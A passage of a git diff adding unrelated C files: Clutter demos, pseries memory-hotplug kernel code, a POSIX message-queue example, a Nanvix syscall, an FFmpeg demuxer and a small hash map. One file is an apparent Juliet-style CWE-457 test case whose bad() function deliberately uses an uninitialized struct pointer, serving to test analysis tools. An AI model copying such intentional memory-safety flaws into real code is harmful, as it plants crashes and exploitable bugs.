+  clutter_timeline_set_loop (timeline, TRUE);
+
+  /* fire a callback for frame change */
+  g_signal_connect (timeline, "new-frame", G_CALLBACK (tick), flowers);
+
+  clutter_actor_show (stage);
+
+  clutter_timeline_start (timeline);
+
+  g_signal_connect (stage, "key-press-event",
+		    G_CALLBACK (clutter_main_quit),
+		    NULL);
+
+  clutter_main();
+
+  return EXIT_SUCCESS;
+}
+
diff --git a/pool/shard001/C/0025447_hotplug-memory.c b/pool/shard001/C/0025447_hotplug-memory.c
new file mode 100644
index 0000000000000000000000000000000000000000..9d6a8effeda2dfb7947102d0031830a11735b200
--- /dev/null
+++ b/pool/shard001/C/0025447_hotplug-memory.c
@@ -0,0 +1,242 @@
+/*
+ * pseries Memory Hotplug infrastructure.
+ *
+ * Copyright (C) 2008 Badari Pulavarty, IBM Corporation
+ *
+ *      This program is free software; you can redistribute it and/or
+ *      modify it under the terms of the GNU General Public License
+ *      as published by the Free Software Foundation; either version
+ *      2 of the License, or (at your option) any later version.
+ */
+
+#include <linux/of.h>
+#include <linux/memblock.h>
+#include <linux/vmalloc.h>
+#include <linux/memory.h>
+
+#include <asm/firmware.h>
+#include <asm/machdep.h>
+#include <asm/pSeries_reconfig.h>
+#include <asm/sparsemem.h>
+
+static unsigned long get_memblock_size(void)
+{
+	struct device_node *np;
+	unsigned int memblock_size = MIN_MEMORY_BLOCK_SIZE;
+	struct resource r;
+
+	np = of_find_node_by_path("/ibm,dynamic-reconfiguration-memory");
+	if (np) {
+		const __be64 *size;
+
+		size = of_get_property(np, "ibm,lmb-size", NULL);
+		if (size)
+			memblock_size = be64_to_cpup(size);
+		of_node_put(np);
+	} else  if (machine_is(pseries)) {
+		/* This fallback really only applies to pseries */
+		unsigned int memzero_size = 0;
+
+		np = of_find_node_by_path("/memory@0");
+		if (np) {
+			if (!of_address_to_resource(np, 0, &r))
+				memzero_size = resource_size(&r);
+			of_node_put(np);
+		}
+
+		if (memzero_size) {
+			/* We now know the size of memory@0, use this to find
+			 * the first memoryblock and get its size.
+			 */
+			char buf[64];
+
+			sprintf(buf, "/memory@%x", memzero_size);
+			np = of_find_node_by_path(buf);
+			if (np) {
+				if (!of_address_to_resource(np, 0, &r))
+					memblock_size = resource_size(&r);
+				of_node_put(np);
+			}
+		}
+	}
+	return memblock_size;
+}
+
+/* WARNING: This is going to override the generic definition whenever
+ * pseries is built-in regardless of what platform is active at boot
+ * time. This is fine for now as this is the only "option" and it
+ * should work everywhere. If not, we'll have to turn this into a
+ * ppc_md. callback
+ */
+unsigned long memory_block_size_bytes(void)
+{
+	return get_memblock_size();
+}
+
+static int pseries_remove_memblock(unsigned long base, unsigned int memblock_size)
+{
+	unsigned long start, start_pfn;
+	struct zone *zone;
+	int ret;
+
+	start_pfn = base >> PAGE_SHIFT;
+
+	if (!pfn_valid(start_pfn)) {
+		memblock_remove(base, memblock_size);
+		return 0;
+	}
+
+	zone = page_zone(pfn_to_page(start_pfn));
+
+	/*
+	 * Remove section mappings and sysfs entries for the
+	 * section of the memory we are removing.
+	 *
+	 * NOTE: Ideally, this should be done in generic code like
+	 * remove_memory(). But remove_memory() gets called by writing
+	 * to sysfs "state" file and we can't remove sysfs entries
+	 * while writing to it. So we have to defer it to here.
+	 */
+	ret = __remove_pages(zone, start_pfn, memblock_size >> PAGE_SHIFT);
+	if (ret)
+		return ret;
+
+	/*
+	 * Update memory regions for memory remove
+	 */
+	memblock_remove(base, memblock_size);
+
+	/*
+	 * Remove htab bolted mappings for this section of memory
+	 */
+	start = (unsigned long)__va(base);
+	ret = remove_section_mapping(start, start + memblock_size);
+
+	/* Ensure all vmalloc mappings are flushed in case they also
+	 * hit that section of memory
+	 */
+	vm_unmap_aliases();
+
+	return ret;
+}
+
+static int pseries_remove_memory(struct device_node *np)
+{
+	const char *type;
+	const unsigned int *regs;
+	unsigned long base;
+	unsigned int lmb_size;
+	int ret = -EINVAL;
+
+	/*
+	 * Check to see if we are actually removing memory
+	 */
+	type = of_get_property(np, "device_type", NULL);
+	if (type == NULL || strcmp(type, "memory") != 0)
+		return 0;
+
+	/*
+	 * Find the bae address and size of the memblock
+	 */
+	regs = of_get_property(np, "reg", NULL);
+	if (!regs)
+		return ret;
+
+	base = *(unsigned long *)regs;
+	lmb_size = regs[3];
+
+	ret = pseries_remove_memblock(base, lmb_size);
+	return ret;
+}
+
+static int pseries_add_memory(struct device_node *np)
+{
+	const char *type;
+	const unsigned int *regs;
+	unsigned long base;
+	unsigned int lmb_size;
+	int ret = -EINVAL;
+
+	/*
+	 * Check to see if we are actually adding memory
+	 */
+	type = of_get_property(np, "device_type", NULL);
+	if (type == NULL || strcmp(type, "memory") != 0)
+		return 0;
+
+	/*
+	 * Find the base and size of the memblock
+	 */
+	regs = of_get_property(np, "reg", NULL);
+	if (!regs)
+		return ret;
+
+	base = *(unsigned long *)regs;
+	lmb_size = regs[3];
+
+	/*
+	 * Update memory region to represent the memory add
+	 */
+	ret = memblock_add(base, lmb_size);
+	return (ret < 0) ? -EINVAL : 0;
+}
+
+static int pseries_drconf_memory(unsigned long *base, unsigned int action)
+{
+	unsigned long memblock_size;
+	int rc;
+
+	memblock_size = get_memblock_size();
+	if (!memblock_size)
+		return -EINVAL;
+
+	if (action == PSERIES_DRCONF_MEM_ADD) {
+		rc = memblock_add(*base, memblock_size);
+		rc = (rc < 0) ? -EINVAL : 0;
+	} else if (action == PSERIES_DRCONF_MEM_REMOVE) {
+		rc = pseries_remove_memblock(*base, memblock_size);
+	} else {
+		rc = -EINVAL;
+	}
+
+	return rc;
+}
+
+static int pseries_memory_notifier(struct notifier_block *nb,
+				unsigned long action, void *node)
+{
+	int err = NOTIFY_OK;
+
+	switch (action) {
+	case PSERIES_RECONFIG_ADD:
+		if (pseries_add_memory(node))
+			err = NOTIFY_BAD;
+		break;
+	case PSERIES_RECONFIG_REMOVE:
+		if (pseries_remove_memory(node))
+			err = NOTIFY_BAD;
+		break;
+	case PSERIES_DRCONF_MEM_ADD:
+	case PSERIES_DRCONF_MEM_REMOVE:
+		if (pseries_drconf_memory(node, action))
+			err = NOTIFY_BAD;
+		break;
+	default:
+		err = NOTIFY_DONE;
+		break;
+	}
+	return err;
+}
+
+static struct notifier_block pseries_mem_nb = {
+	.notifier_call = pseries_memory_notifier,
+};
+
+static int __init pseries_memory_hotplug_init(void)
+{
+	if (firmware_has_feature(FW_FEATURE_LPAR))
+		pSeries_reconfig_notifier_register(&pseries_mem_nb);
+
+	return 0;
+}
+machine_device_initcall(pseries, pseries_memory_hotplug_init);
diff --git a/pool/shard001/C/0025477_mq_notify_via_signal.c b/pool/shard001/C/0025477_mq_notify_via_signal.c
new file mode 100644
index 0000000000000000000000000000000000000000..25e6ae6725939ff3e4c7d817b6cfe4132ec3d5c0
--- /dev/null
+++ b/pool/shard001/C/0025477_mq_notify_via_signal.c
@@ -0,0 +1,109 @@
+/*************************************************************************\
+*                  Copyright (C) Michael Kerrisk, 2015.                   *
+*                                                                         *
+* This program is free software. You may use, modify, and redistribute it *
+* under the terms of the GNU General Public License as published by the   *
+* Free Software Foundation, either version 3 or (at your option) any      *
+* later version. This program is distributed without any warranty.  See   *
+* the file COPYING.gpl-v3 for details.                                    *
+\*************************************************************************/
+
+/* Supplementary program for Chapter 52 */
+
+/* mq_notify_via_signal.c
+
+   Usage: mq_notify_via_signal /mq-name
+
+   Demonstrate message notification via signals (catching the signals with
+   a signal handler) on a POSIX message queue.
+
+   See also mq_notify_sig.c.
+*/
+#include <signal.h>
+#include <mqueue.h>
+#include <fcntl.h>              /* For definition of O_NONBLOCK */
+#include "tlpi_hdr.h"
+
+#define NOTIFY_SIG SIGUSR1
+
+static volatile sig_atomic_t gotSig = 1;        /* See comment in main() */
+
+/* Handler for message notification signal */
+
+static void
+handler(int sig)
+{
+    gotSig = 1;
+}
+
+int
+main(int argc, char *argv[])
+{
+    struct sigevent sev;
+    mqd_t mqd;
+    struct sigaction sa;
+    int j;
+    char *msg;
+    ssize_t numRead;
+    struct mq_attr attr;
+
+    if (argc != 2 || strcmp(argv[1], "--help") == 0)
+        usageErr("%s /mq-name\n", argv[0]);
+
+    /* Open the (existing) queue in nonblocking mode so that we can drain
+       messages from it without blocking once the queue has been emptied */
+
+    mqd = mq_open(argv[1], O_RDONLY | O_NONBLOCK);
+    if (mqd == (mqd_t) -1)
+        errExit("mq_open");
+
+    /* Establish handler for notification signal */
+
+    sigemptyset(&sa.sa_mask);
+    sa.sa_flags = 0;
+    sa.sa_handler = handler;
+    if (sigaction(NOTIFY_SIG, &sa, NULL) == -1)
+        errExit("sigaction");
+
+    /* Determine mq_msgsize for message queue, and allocate an input buffer
+       of that size */
+
+    if (mq_getattr(mqd, &attr) == -1)
+        errExit("mq_getattr");
+
+    msg = malloc(attr.mq_msgsize);
+    if (msg == NULL)
+        errExit("malloc");
+
+    /* Possibly, a message had already been queued by the time we enter
+       the loop below. By initializing 'gotSig' to 1 above, we trigger the
+       program to make the initial registration for notification and force
+       the queue to be drained of any messages on the first loop iteration. */
+
+    for (j = 0; ; j++) {
+        if (gotSig) {
+            gotSig = 0;
+
+            /* Register for message notification */
+
+            sev.sigev_notify = SIGEV_SIGNAL;
+            sev.sigev_signo = NOTIFY_SIG;
+            if (mq_notify(mqd, &sev) == -1)
+                errExit("mq_notify");
+
+            /* Drain all messages from the queue */
+
+            while ((numRead = mq_receive(mqd, msg,
+                                attr.mq_msgsize, NULL)) >= 0) {
+                /* Do whatever processing is required for each message */
+
+                printf("Read %ld bytes\n", (long) numRead);
+            }
+            if (errno != EAGAIN)        /* Unexpected error */
+                errExit("mq_receive");
+        }
+
+        printf("j = %d\n", j);
+        sleep(5);               /* Do some "work" */
+    }
+}
diff --git a/pool/shard001/C/0025489_test-devices.c b/pool/shard001/C/0025489_test-devices.c
new file mode 100644
index 0000000000000000000000000000000000000000..e286a064cebdf289bcf4083410ba5913633278fe
--- /dev/null
+++ b/pool/shard001/C/0025489_test-devices.c
@@ -0,0 +1,130 @@
+#include <stdlib.h>
+#include <gmodule.h>
+#include <clutter/clutter.h>
+#include <clutter/x11/clutter-x11.h>
+
+typedef struct {
+
+  GHashTable *devices;
+
+} TestDevicesApp;
+
+static const gchar *
+device_type_name (ClutterInputDevice *device)
+{
+  ClutterInputDeviceType d_type;
+
+  d_type = clutter_input_device_get_device_type (device);
+  switch (d_type)
+    {
+    case CLUTTER_POINTER_DEVICE:
+      return "Pointer";
+
+    case CLUTTER_KEYBOARD_DEVICE:
+      return "Keyboard";
+
+    case CLUTTER_EXTENSION_DEVICE:
+      return "Extension";
+
+    default:
+      return "Unknown";
+    }
+
+  g_warn_if_reached ();
+
+  return NULL;
+}
+
+static gboolean
+stage_motion_event_cb (ClutterActor *actor, 
+                       ClutterEvent *event, 
+                       gpointer userdata)
+{
+  TestDevicesApp *app = (TestDevicesApp *)userdata;
+  ClutterInputDevice *device;
+  ClutterActor *hand = NULL;
+
+  device = clutter_event_get_device (event);
+
+  hand = g_hash_table_lookup (app->devices, device);
+
+  g_print ("Device: '%s' (id:%d, type:%s)\n",
+           clutter_input_device_get_device_name (device),
+           clutter_input_device_get_device_id (device),
+           device_type_name (device));
+
+  if (hand != NULL)
+    {
+      gfloat event_x, event_y;
+
+      clutter_event_get_coords (event, &event_x, &event_y);
+      clutter_actor_set_position (hand, event_x, event_y);
+
+      return TRUE;
+    }
+
+  return FALSE;
+}
+
+G_MODULE_EXPORT int
+test_devices_main (int argc, char **argv)
+{
+  ClutterActor *stage;
+  TestDevicesApp *app;
+  ClutterColor stage_color = { 0x61, 0x64, 0x8c, 0xff };
+  ClutterDeviceManager *manager;
+  const GSList *stage_devices, *l;
+
+  /* force enabling X11 support */
+  clutter_x11_enable_xinput ();
+
+  clutter_init (&argc, &argv);
+
+  app = g_new0 (TestDevicesApp, 1);
+  app->devices = g_hash_table_new (g_direct_hash, g_direct_equal) ;
+
+  stage = clutter_stage_get_default ();
+  clutter_stage_set_color (CLUTTER_STAGE (stage), &stage_color);
+  //clutter_stage_fullscreen (CLUTTER_STAGE (stage));
+
+  g_signal_connect (stage, 
+                    "motion-event", G_CALLBACK(stage_motion_event_cb),
+                    app);
+
+  clutter_actor_show_all (stage);
+
+  manager = clutter_device_manager_get_default ();
+  stage_devices = clutter_device_manager_peek_devices (manager);
+
+  if (stage_devices == NULL)
+    g_error ("No input devices found.");
+
+  for (l = stage_devices; l != NULL; l = l->next)
+    {
+      ClutterInputDevice *device = l->data;
+      ClutterInputDeviceType device_type;
+      ClutterActor *hand = NULL;
+
+      g_print ("got a %s device '%s' with id %d...\n",
+               device_type_name (device),
+               clutter_input_device_get_device_name (device),
+               clutter_input_device_get_device_id (device));
+
+      device_type = clutter_input_device_get_device_type (device);
+      if (device_type == CLUTTER_POINTER_DEVICE ||
+          device_type == CLUTTER_EXTENSION_DEVICE)
+        {
+          hand = clutter_texture_new_from_file (TESTS_DATADIR
+                                                G_DIR_SEPARATOR_S
+                                                "redhand.png",
+                                                NULL);
+          g_hash_table_insert (app->devices, device, hand);
+
+          clutter_container_add_actor (CLUTTER_CONTAINER (stage), hand);
+        }
+    }
+
+  clutter_main ();
+
+  return EXIT_SUCCESS;
+} 
diff --git a/pool/shard001/C/0025491_CWE457_Use_of_Uninitialized_Variable__struct_pointer_13.c b/pool/shard001/C/0025491_CWE457_Use_of_Uninitialized_Variable__struct_pointer_13.c
new file mode 100644
index 0000000000000000000000000000000000000000..9cdd6fcf0f8298032c8b6f70774ffafa066c66b7
--- /dev/null
+++ b/pool/shard001/C/0025491_CWE457_Use_of_Uninitialized_Variable__struct_pointer_13.c
@@ -0,0 +1,174 @@
+/* TEMPLATE GENERATED TESTCASE FILE
+Filename: CWE457_Use_of_Uninitialized_Variable__struct_pointer_13.c
+Label Definition File: CWE457_Use_of_Uninitialized_Variable.c.label.xml
+Template File: sources-sinks-13.tmpl.c
+*/
+/*
+ * @description
+ * CWE: 457 Use of Uninitialized Variable
+ * BadSource: no_init Don't initialize data
+ * GoodSource: Initialize data
+ * Sinks: use
+ *    GoodSink: Initialize then use data
+ *    BadSink : Use data
+ * Flow Variant: 13 Control flow: if(GLOBAL_CONST_FIVE==5) and if(GLOBAL_CONST_FIVE!=5)
+ *
+ * */
+
+#include "std_testcase.h"
+
+#include <wchar.h>
+
+#ifndef OMITBAD
+
+void CWE457_Use_of_Uninitialized_Variable__struct_pointer_13_bad()
+{
+    twoIntsStruct * data;
+    if(GLOBAL_CONST_FIVE==5)
+    {
+        /* POTENTIAL FLAW: Don't initialize data */
+        ; /* empty statement needed for some flow variants */
+    }
+    if(GLOBAL_CONST_FIVE==5)
+    {
+        /* POTENTIAL FLAW: Use data without initializing it */
+        printIntLine(data->intOne);
+        printIntLine(data->intTwo);
+    }
+}
+
+#endif /* OMITBAD */
+
+#ifndef OMITGOOD
+
+/* goodB2G1() - use badsource and goodsink by changing the second GLOBAL_CONST_FIVE==5 to GLOBAL_CONST_FIVE!=5 */
+static void goodB2G1()
+{
+    twoIntsStruct * data;
+    if(GLOBAL_CONST_FIVE==5)
+    {
+        /* POTENTIAL FLAW: Don't initialize data */
+        ; /* empty statement needed for some flow variants */
+    }
+    if(GLOBAL_CONST_FIVE!=5)
+    {
+        /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
+        printLine("Benign, fixed string");
+    }
+    else
+    {
+        /* FIX: Ensure data is initialized before use */
+        /* initialize both the pointer and the data pointed to */
+        data = (twoIntsStruct *)malloc(sizeof(twoIntsStruct));
+        if (data == NULL) {exit(-1);}
+        data->intOne = 5;
+        data->intTwo = 6;
+        printIntLine(data->intOne);
+        printIntLine(data->intTwo);
+    }
+}
+
+/* goodB2G2() - use badsource and goodsink by reversing the blocks in the second if */
+static void goodB2G2()
+{
+    twoIntsStruct * data;
+    if(GLOBAL_CONST_FIVE==5)
+    {
+        /* POTENTIAL FLAW: Don't initialize data */
+        ; /* empty statement needed for some flow variants */
+    }
+    if(GLOBAL_CONST_FIVE==5)
+    {
+        /* FIX: Ensure data is initialized before use */
+        /* initialize both the pointer and the data pointed to */
+        data = (twoIntsStruct *)malloc(sizeof(twoIntsStruct));
+        if (data == NULL) {exit(-1);}
+        data->intOne = 5;
+        data->intTwo = 6;
+        printIntLine(data->intOne);
+        printIntLine(data->intTwo);
+    }
+}
+
+/* goodG2B1() - use goodsource and badsink by changing the first GLOBAL_CONST_FIVE==5 to GLOBAL_CONST_FIVE!=5 */
+static void goodG2B1()
+{
+    twoIntsStruct * data;
+    if(GLOBAL_CONST_FIVE!=5)
+    {
+        /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
+        printLine("Benign, fixed string");
+    }
+    else
+    {
+        /* FIX: Initialize data */
+        /* initialize both the pointer and the data pointed to */
+        data = (twoIntsStruct *)malloc(sizeof(twoIntsStruct));
+        if (data == NULL) {exit(-1);}
+        data->intOne = 5;
+        data->intTwo = 6;
+    }
+    if(GLOBAL_CONST_FIVE==5)
+    {
+        /* POTENTIAL FLAW: Use data without initializing it */
+        printIntLine(data->intOne);
+        printIntLine(data->intTwo);
+    }
+}
+
+/* goodG2B2() - use goodsource and badsink by reversing the blocks in the first if */
+static void goodG2B2()
+{
+    twoIntsStruct * data;
+    if(GLOBAL_CONST_FIVE==5)
+    {
+        /* FIX: Initialize data */
+        /* initialize both the pointer and the data pointed to */
+        data = (twoIntsStruct *)malloc(sizeof(twoIntsStruct));
+        if (data == NULL) {exit(-1);}
+        data->intOne = 5;
+        data->intTwo = 6;
+    }
+    if(GLOBAL_CONST_FIVE==5)
+    {
+        /* POTENTIAL FLAW: Use data without initializing it */
+        printIntLine(data->intOne);
+        printIntLine(data->intTwo);
+    }
+}
+
+void CWE457_Use_of_Uninitialized_Variable__struct_pointer_13_good()
+{
+    goodB2G1();
+    goodB2G2();
+    goodG2B1();
+    goodG2B2();
+}
+
+#endif /* OMITGOOD */
+
+/* Below is the main(). It is only used when building this testcase on
+   its own for testing or for building a binary to use in testing binary
+   analysis tools. It is not used when compiling all the testcases as one
+   application, which is how source code analysis tools are tested. */
+
+#ifdef INCLUDEMAIN
+
+int main(int argc, char * argv[])
+{
+    /* seed randomness */
+    srand( (unsigned)time(NULL) );
+#ifndef OMITGOOD
+    printLine("Calling good()...");
+    CWE457_Use_of_Uninitialized_Variable__struct_pointer_13_good();
+    printLine("Finished good()");
+#endif /* OMITGOOD */
+#ifndef OMITBAD
+    printLine("Calling bad()...");
+    CWE457_Use_of_Uninitialized_Variable__struct_pointer_13_bad();
+    printLine("Finished bad()");
+#endif /* OMITBAD */
+    return 0;
+}
+
+#endif
diff --git a/pool/shard001/C/0025500_write.c b/pool/shard001/C/0025500_write.c
new file mode 100644
index 0000000000000000000000000000000000000000..3661c58e10095854604d3c45bdb2f7c30797f7a5
--- /dev/null
+++ b/pool/shard001/C/0025500_write.c
@@ -0,0 +1,79 @@
+/*
+ * Copyright(C) 2011-2014 Pedro H. Penna <pedrohenriquepenna@gmail.com>
+ * 
+ * sys/write.c - write() system call implementation.
+ */
+
+#include <nanvix/const.h>
+#include <nanvix/clock.h>
+#include <nanvix/dev.h>
+#include <nanvix/fs.h>
+#include <nanvix/klib.h>
+#include <nanvix/mm.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <nanvix/klib.h>
+/*
+ * Writes to a file.
+ */
+PUBLIC ssize_t sys_write(int fd, const void *buf, size_t n)
+{
+	dev_t dev;         /* Device number.          */
+	struct file *f;    /* File.                   */
+	struct inode *i;   /* Inode.                  */
+	ssize_t count = 0; /* Bytes actually written. */
+	
+	/* Invalid file descriptor. */
+	if ((fd < 0) || (fd >= OPEN_MAX) || ((f = curr_proc->ofiles[fd]) == NULL))
+		return (-EBADF);
+	
+	/* File not opened for writing. */
+	if (ACCMODE(f->oflag) == O_RDONLY)
+		return (-EBADF);
+	
+	/* Invalid buffer. */
+	if (!chkmem(buf, n, MAY_READ))
+		return (-EINVAL);
+	
+	i = f->inode;
+	
+	/* Append mode. */
+	if (f->oflag & O_APPEND)
+		f->pos = i->size;
+	
+	/* Character special file. */
+	if (S_ISCHR(i->mode))
+	{
+		dev = i->blocks[0];
+		count = cdev_write(dev, buf, n);
+		return (count);
+	}
+	
+	/* Block special file. */
+	else if (S_ISBLK(i->mode))
+	{
+		dev = i->blocks[0];
+		count = bdev_write(dev, buf, n, f->pos);
+	}
+	
+	/* Pipe file. */
+	else if (S_ISFIFO(i->mode))
+	{
+		kprintf("write to pipe");
+		count = pipe_write(i, buf, n);
+	}
+	
+	/* Regular file. */
+	else if (S_ISREG(i->mode))
+		count = file_write(i, buf, n, f->pos);
+
+	/* Failed to write. */
+	if (count < 0)
+		return (curr_proc->errno);
+	
+	f->pos += count;
+	
+	return (count);
+	
+}
diff --git a/pool/shard001/C/0025502_mm.c b/pool/shard001/C/0025502_mm.c
new file mode 100644
index 0000000000000000000000000000000000000000..81ae1a510e33c1c7dca0a5ba865f373abe650d95
--- /dev/null
+++ b/pool/shard001/C/0025502_mm.c
@@ -0,0 +1,197 @@
+/*
+ * American Laser Games MM Format Demuxer
+ * Copyright (c) 2006 Peter Ross
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+/**
+ * @file
+ * American Laser Games MM Format Demuxer
+ * by Peter Ross (pross@xvid.org)
+ *
+ * The MM format was used by IBM-PC ports of ALG's "arcade shooter" games,
+ * including Mad Dog McCree and Crime Patrol.
+ *
+ * Technical details here:
+ *  http://wiki.multimedia.cx/index.php?title=American_Laser_Games_MM
+ */
+
+#include "libavutil/channel_layout.h"
+#include "libavutil/intreadwrite.h"
+#include "avformat.h"
+#include "internal.h"
+
+#define MM_PREAMBLE_SIZE    6
+
+#define MM_TYPE_HEADER      0x0
+#define MM_TYPE_INTER       0x5
+#define MM_TYPE_INTRA       0x8
+#define MM_TYPE_INTRA_HH    0xc
+#define MM_TYPE_INTER_HH    0xd
+#define MM_TYPE_INTRA_HHV   0xe
+#define MM_TYPE_INTER_HHV   0xf
+#define MM_TYPE_AUDIO       0x15
+#define MM_TYPE_PALETTE     0x31
+
+#define MM_HEADER_LEN_V     0x16    /* video only */
+#define MM_HEADER_LEN_AV    0x18    /* video + audio */
+
+#define MM_PALETTE_COUNT    128
+#define MM_PALETTE_SIZE     (MM_PALETTE_COUNT*3)
+
+typedef struct MmDemuxContext {
+  unsigned int audio_pts, video_pts;
+} MmDemuxContext;
+
+static int probe(AVProbeData *p)
+{
+    int len, type, fps, w, h;
+    if (p->buf_size < MM_HEADER_LEN_AV + MM_PREAMBLE_SIZE)
+        return 0;
+    /* the first chunk is always the header */
+    if (AV_RL16(&p->buf[0]) != MM_TYPE_HEADER)
+        return 0;
+    len = AV_RL32(&p->buf[2]);
+    if (len != MM_HEADER_LEN_V && len != MM_HEADER_LEN_AV)
+        return 0;
+    fps = AV_RL16(&p->buf[8]);
+    w = AV_RL16(&p->buf[12]);
+    h = AV_RL16(&p->buf[14]);
+    if (!fps || fps > 60 || !w || w > 2048 || !h || h > 2048)
+        return 0;
+    type = AV_RL16(&p->buf[len]);
+    if (!type || type > 0x31)
+        return 0;
+
+    /* only return half certainty since this check is a bit sketchy */
+    return AVPROBE_SCORE_EXTENSION;
+}
+
+static int read_header(AVFormatContext *s)
+{
+    MmDemuxContext *mm = s->priv_data;
+    AVIOContext *pb = s->pb;
+    AVStream *st;
+
+    unsigned int type, length;
+    unsigned int frame_rate, width, height;
+
+    type = avio_rl16(pb);
+    length = avio_rl32(pb);
+
+    if (type != MM_TYPE_HEADER)
+        return AVERROR_INVALIDDATA;
+
+    /* read header */
+    avio_rl16(pb);   /* total number of chunks */
+    frame_rate = avio_rl16(pb);
+    avio_rl16(pb);   /* ibm-pc video bios mode */
+    width = avio_rl16(pb);
+    height = avio_rl16(pb);
+    avio_skip(pb, length - 10);  /* unknown data */
+
+    /* video stream */
+    st = avformat_new_stream(s, NULL);
+    if (!st)
+        return AVERROR(ENOMEM);
+    st->codec->codec_type = AVMEDIA_TYPE_VIDEO;
+    st->codec->codec_id = AV_CODEC_ID_MMVIDEO;
+    st->codec->codec_tag = 0;  /* no fourcc */
+    st->codec->width = width;
+    st->codec->height = height;
+    avpriv_set_pts_info(st, 64, 1, frame_rate);
+
+    /* audio stream */
+    if (length == MM_HEADER_LEN_AV) {
+        st = avformat_new_stream(s, NULL);
+        if (!st)
+            return AVERROR(ENOMEM);
+        st->codec->codec_type = AVMEDIA_TYPE_AUDIO;
+        st->codec->codec_tag = 0; /* no fourcc */
+        st->codec->codec_id = AV_CODEC_ID_PCM_U8;
+        st->codec->channels = 1;
+        st->codec->channel_layout = AV_CH_LAYOUT_MONO;
+        st->codec->sample_rate = 8000;
+        avpriv_set_pts_info(st, 64, 1, 8000); /* 8000 hz */
+    }
+
+    mm->audio_pts = 0;
+    mm->video_pts = 0;
+    return 0;
+}
+
+static int read_packet(AVFormatContext *s,
+                           AVPacket *pkt)
+{
+    MmDemuxContext *mm = s->priv_data;
+    AVIOContext *pb = s->pb;
+    unsigned char preamble[MM_PREAMBLE_SIZE];
+    unsigned int type, length;
+
+    while(1) {
+
+        if (avio_read(pb, preamble, MM_PREAMBLE_SIZE) != MM_PREAMBLE_SIZE) {
+            return AVERROR(EIO);
+        }
+
+        type = AV_RL16(&preamble[0]);
+        length = AV_RL16(&preamble[2]);
+
+        switch(type) {
+        case MM_TYPE_PALETTE :
+        case MM_TYPE_INTER :
+        case MM_TYPE_INTRA :
+        case MM_TYPE_INTRA_HH :
+        case MM_TYPE_INTER_HH :
+        case MM_TYPE_INTRA_HHV :
+        case MM_TYPE_INTER_HHV :
+            /* output preamble + data */
+            if (av_new_packet(pkt, length + MM_PREAMBLE_SIZE))
+                return AVERROR(ENOMEM);
+            memcpy(pkt->data, preamble, MM_PREAMBLE_SIZE);
+            if (avio_read(pb, pkt->data + MM_PREAMBLE_SIZE, length) != length)
+                return AVERROR(EIO);
+            pkt->size = length + MM_PREAMBLE_SIZE;
+            pkt->stream_index = 0;
+            pkt->pts = mm->video_pts;
+            if (type!=MM_TYPE_PALETTE)
+                mm->video_pts++;
+            return 0;
+
+        case MM_TYPE_AUDIO :
+            if (av_get_packet(s->pb, pkt, length)<0)
+                return AVERROR(ENOMEM);
+            pkt->stream_index = 1;
+            pkt->pts = mm->audio_pts++;
+            return 0;
+
+        default :
+            av_log(s, AV_LOG_INFO, "unknown chunk type 0x%x\n", type);
+            avio_skip(pb, length);
+        }
+    }
+}
+
+AVInputFormat ff_mm_demuxer = {
+    .name           = "mm",
+    .long_name      = NULL_IF_CONFIG_SMALL("American Laser Games MM"),
+    .priv_data_size = sizeof(MmDemuxContext),
+    .read_probe     = probe,
+    .read_header    = read_header,
+    .read_packet    = read_packet,
+};
diff --git a/pool/shard001/C/0025531_hash.c b/pool/shard001/C/0025531_hash.c
new file mode 100644
index 0000000000000000000000000000000000000000..00079cf429561affc74bfb4881d21823c2b80e09
--- /dev/null
+++ b/pool/shard001/C/0025531_hash.c
@@ -0,0 +1,82 @@
+#include "hash.h"
+
+struct hashMap* init_hashMap(struct student_detail** record)
+{
+
+   struct hashMap* pHashMap ;
+
+   pHashMap = malloc(sizeof(struct hashMap));
+
+   pHashMap-> count = 0;
+   pHashMap-> student_record = record;
+
+   return pHashMap;
+
+}
+
+int insert(struct student_detail** record,char* student_name)
+{
+    int hashedKey ;
+
+    hashedKey = hash(student_name) ;
+
+//    printf("hashkey: %d\n",hashedKey);
+
+    if ( record[hashedKey] != NULL )
+       return 0;
+
+    struct student_detail* newEntry = malloc(sizeof(struct student_detail));
+
+ record[hashedKey] = fill_structure(newEntry,hashedKey,student_name);
+
+    return 1;
+}
+
+int hash(char* seed)
+{
+   size_t seedLen;
+   long int    hashKey = 0;
+   seedLen = strlen(seed);
+
+   for(int i=2; i < seedLen ;i++)
+   	  hashKey += seed[i] * seed[i-1] * seed[i-2] * 3737  ;
+
+   return ( (hashKey) % HASH_MAP_SIZE) ;
+}
+
+struct student_detail* fill_structure(struct student_detail* student,int hashedKey,char* student_name)
+{
+   student-> key = hashedKey ;
+  // printf("Enter father name and phone no.\n");
+   strncpy(student-> name,student_name,512);
+   strncpy(student-> father_name,"NO value",512);
+   strncpy(student-> phoneNo,"NO value",32);
+   return student ;
+}//student_details
+
+int get(struct student_detail** record,char* seed)
+{
+   int hashKey ;
+
+   hashKey = hash(seed);
+   struct student_detail* student;
+
+   student = record [hashKey];
+
+   if( !student )
+   	  return 0;
+
+   print_struct(student);
+
+   return 1;
+}
+
+void print_struct ( struct student_detail* student)
+{
+   printf("*****************************************\n");
+   printf("Student Name: %s\n",student-> name);
+   printf("Father Name : %s\n",student-> father_name);
+   printf("Phone no.   : %s\n",student-> phoneNo);
+   printf("*****************************************\n");
+   return;
+}//print_struct
diff --git a/pool/shard001/C/0025537_plugin-identd.c b/pool/shard001/C/0025537_plugin-identd.c
new file mode 100644
index 0000000000000000000000000000000000000000..ce1bd1e62db229a711d022cfd118641c498a14a5
--- /dev/null
+++ b/pool/shard001/C/0025537_plugin-identd.c
@@ -0,0 +1,220 @@
+/* HexChat
+*
+* This program is free software; you can redistribute it and/or modify
